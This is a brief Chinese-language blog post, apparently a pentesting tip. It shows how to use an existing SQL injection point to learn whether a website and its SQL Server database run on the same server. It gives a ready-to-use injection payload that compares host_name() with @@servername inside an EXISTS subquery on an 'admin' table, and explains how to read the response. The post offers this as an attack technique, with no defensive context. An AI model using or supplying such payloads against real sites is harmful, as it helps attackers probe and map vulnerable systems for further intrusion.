判断网站和数据库是否站库分离今天来讲是利用sql注入点来判断

在注入点后加上:

 

and exists(select * from admin where 1=(Select (case when host_name()=@@servername then 1 else 0 end)))  

 

admin一定要是存在的表段,如果返回正常,说明网站和数据库是在同一服务器,如果不正常则说明是站库分离的

相关文章:

  • 2022-12-23
  • 2021-11-09
  • 2021-09-23
  • 2022-12-23
  • 2021-07-06
  • 2022-02-04
  • 2021-06-26
  • 2021-07-25
猜你喜欢
  • 2022-12-23
  • 2022-01-18
  • 2021-04-04
  • 2022-12-23
  • 2021-08-24
  • 2022-02-13
相关资源
相似解决方案